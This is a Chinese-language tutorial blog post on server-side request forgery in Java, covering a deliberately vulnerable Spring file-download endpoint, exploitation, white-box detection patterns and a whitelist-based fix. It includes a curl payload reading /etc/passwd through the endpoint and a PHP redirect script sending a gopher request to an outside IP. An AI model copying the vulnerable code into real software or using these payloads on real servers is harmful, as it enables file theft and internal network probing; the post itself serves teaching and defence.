• SSRF漏洞JAVA解决方案


    本文主要说明Java的SSRF的漏洞代码、利用方式、如何修复。

    1. 漏洞简介

    SSRF(Server-side Request Forge, 服务端请求伪造)。
    由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

    2. 漏洞分析利用

    2.1 网络请求支持的协议
    由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V查看。

    Java网络请求支持的协议可通过下面几种方法检测:

    代码中遍历协议
    官方文档中查看
    import sun.net.www.protocol查看
    从import sun.net.www.protocol可以看到,支持以下协议

    file ftp mailto http https jar netdoc
    2.2 发起网络请求的类
    当然,SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。

    HttpClient
    Request (对HttpClient封装后的类)
    HttpURLConnection
    URLConnection
    URL
    okhttp
    如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。

    比如:

    HttpURLConnection HttpClient Request okhttp
    所以,如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议

    URLConnection URL 注意,Request类对HttpClient进行了封装。类似Python的requests库。
    用法及其简单,一行代码就可以获取网页内容。

    Request.Get(url).execute().returnContent().toString();

    2.3 漏洞代码
    使用URL类的openStream发起网络请求造成的SSRF(Java Web代码)。
    代码功能是远程下载文件并下载。

    import org.springframework.boot.*;
    import org.springframework.boot.autoconfigure.*;
    import org.springframework.stereotype.*;
    import org.springframework.web.bind.annotation.*;
    
    import java.io.InputStream;
    import java.io.OutputStream;
    import com.google.common.io.Files;
    import org.apache.commons.lang.StringUtils;
    
    import java.net.URL;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpServletRequest;
    import java.io.IOException;
    
    @Controller
    @EnableAutoConfiguration
    public class SecController {
        @RequestMapping("/")
        @ResponseBody
        String home() {
            return "Hello World!";
        }
    
        @RequestMapping("/download")
        @ResponseBody
        public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{
            try {
                String url = request.getParameter("url");
                if (StringUtils.isBlank(url)) {
                    throw new IllegalArgumentException("url异常");
                }
                downLoadImg(response, url);
            }catch (Exception e) {
                throw new IllegalArgumentException("异常");
            }
        }
        private void downLoadImg (HttpServletResponse response, String url) throws IOException {
            InputStream inputStream = null;
            OutputStream outputStream = null;
            try {
                String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url);
                response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
    
                URL u;
                int length;
                byte[] bytes = new byte[1024];
                u = new URL(url);
                inputStream = u.openStream();
                outputStream = response.getOutputStream();
                while ((length = inputStream.read(bytes)) > 0) {
                    outputStream.write(bytes, 0, length);
                }
    
            }catch (Exception e) {
                e.printStackTrace();
            }finally {
                if (inputStream != null) {
                    inputStream.close();
                }
                if (outputStream != null) {
                    outputStream.close();
                }
    
            }
        }
    
        public static void main(String[] args) throws Exception {
            SpringApplication.run(SecController.class, args);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    利用方式:

    利用file协议查看任意文件

    curl -v ‘http://localhost:8080/download?url=file:///etc/passwd’
    尝试发起gopher协议,收到异常:

    java.net.MalformedURLException: unknown protocol: gopher
    所以,除了上面的协议都不支持。

    那尝试使用302跳转到gopher进行bypass。

    先在一台vps上写一个302.php,如果发生跳转,那么35.185.163.134的2333端口将会收到请求。

    PS:Java默认会URL重定向。

    
    $url = 'gopher://35.185.163.134:2333/_joy%0achou';
    header("location: $url");
    ?>
    
    • 1
    • 2
    • 3
    • 4

    访问payload

    http://localhost:8080/download?url=http://joychou.me/302.php
    收到异常:

    java.net.MalformedURLException: unknown protocol: gopher
    跟踪报错代码:

    private boolean followRedirect() throws IOException {
        if(!this.getInstanceFollowRedirects()) {
            return false;
        } else {
            final int var1 = this.getResponseCode();
            if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
                final String var2 = this.getHeaderField("Location");
                if(var2 == null) {
                    return false;
                } else {
                    URL var3;
                    try {
                        // 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
                        var3 = new URL(var2);
                        /* 该行代码,表示传入的协议必须和重定向的协议一致
                         * 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
                         */
                        if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
                            return false;
                        }
                    } catch (MalformedURLException var8) {
                        var3 = new URL(this.url, var2);
                    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    从上面的followRedirect方法可以看到:

    实际跳转的url也在限制的协议内
    传入的url协议必须和重定向的url协议一致
    所以,Java的SSRF利用方式比较局限

    利用file协议任意文件读取。
    利用http协议端口探测
    其他漏洞代码可查看:https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java

    3. 白盒规则

    上面的漏洞代码可总结为4种情况:

    /* 第一种情况
     * Request类
     */
    Request.Get(url).execute()
    
    /* 第二种情况
     * URL类的openStream
     */
     URL u;
     int length;
     byte[] bytes = new byte[1024];
     u = new URL(url);
     inputStream = u.openStream();
    
    /* 第三种情况
     * HttpClient
     */
    String url = "http://127.0.0.1";
    CloseableHttpClient client = HttpClients.createDefault();
    HttpGet httpGet = new HttpGet(url);
    HttpResponse httpResponse;
    try {
        // 该行代码发起网络请求
        httpResponse = client.execute(httpGet);
    
    /* 第四种情况
     * URLConnection和HttpURLConnection
     */
    URLConnection urlConnection = url.openConnection();
    HttpURLConnection urlConnection = url.openConnection();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    4. 漏洞修复

    那么,根据利用的方式,修复方法就比较简单。

    限制协议为HTTP、HTTPS协议。
    禁止URL传入内网IP或者设置URL白名单。
    不用限制302重定向。
    漏洞修复代码如下:

    需要添加guava库(目的是获取一级域名),在pom.xml中添加

    <dependency>
        <groupId>com.google.guava</groupId>
        <artifactId>guava</artifactId>
        <version>21.0</version>
    </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    代码的验证逻辑:

    验证协议是否为http或者https
    验证url是否在白名单内

    函数调用:

    String[] urlwhitelist = {"joychou.org", "joychou.me"};
    if (!securitySSRFUrlCheck(url, urlwhitelist)) {
        return;
    }    
    
    • 1
    • 2
    • 3
    • 4

    函数验证代码:

    public static Boolean securitySSRFUrlCheck(String url, String[] urlwhitelist) {
        try {
            URL u = new URL(url);
            // 只允许http和https的协议通过
            if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
                return  false;
            }
            // 获取域名,并转为小写
            String host = u.getHost().toLowerCase();
            // 获取一级域名
            String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
    
            for (String whiteurl: urlwhitelist){
                if (rootDomain.equals(whiteurl)) {
                    return true;
                }
            }
            return false;
    
        } catch (Exception e) {
            return false;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
  • 相关阅读:
    热像仪:使用 ESP32 和 MLX90640 传感器设计您自己的红外成像设备
    您的企业内容管理(ECM)系统对敏感信息的保护程度如何?
    Nuxt3 的生命周期和钩子函数(一)
    MySQL 高可用之MHA 工作原理和架构,实现MHA高可用实战案例
    css实现文字两居中两边横线(我是有底线的)
    FFmpeg开发笔记(十九)FFmpeg开启两个线程分别解码音视频
    单纯形法学习
    linux(全志F1C100S/F1C200S)系列02:移植LCD st7789驱动,LVGL8.3移植
    【华为OD机试python】评论转换输出【2023 B卷|100分】
    Ubuntu gnome WhiteSur-gtk-theme类mac主题正确安装和卸载方式
  • 原文地址:https://blog.csdn.net/S0001100/article/details/126891899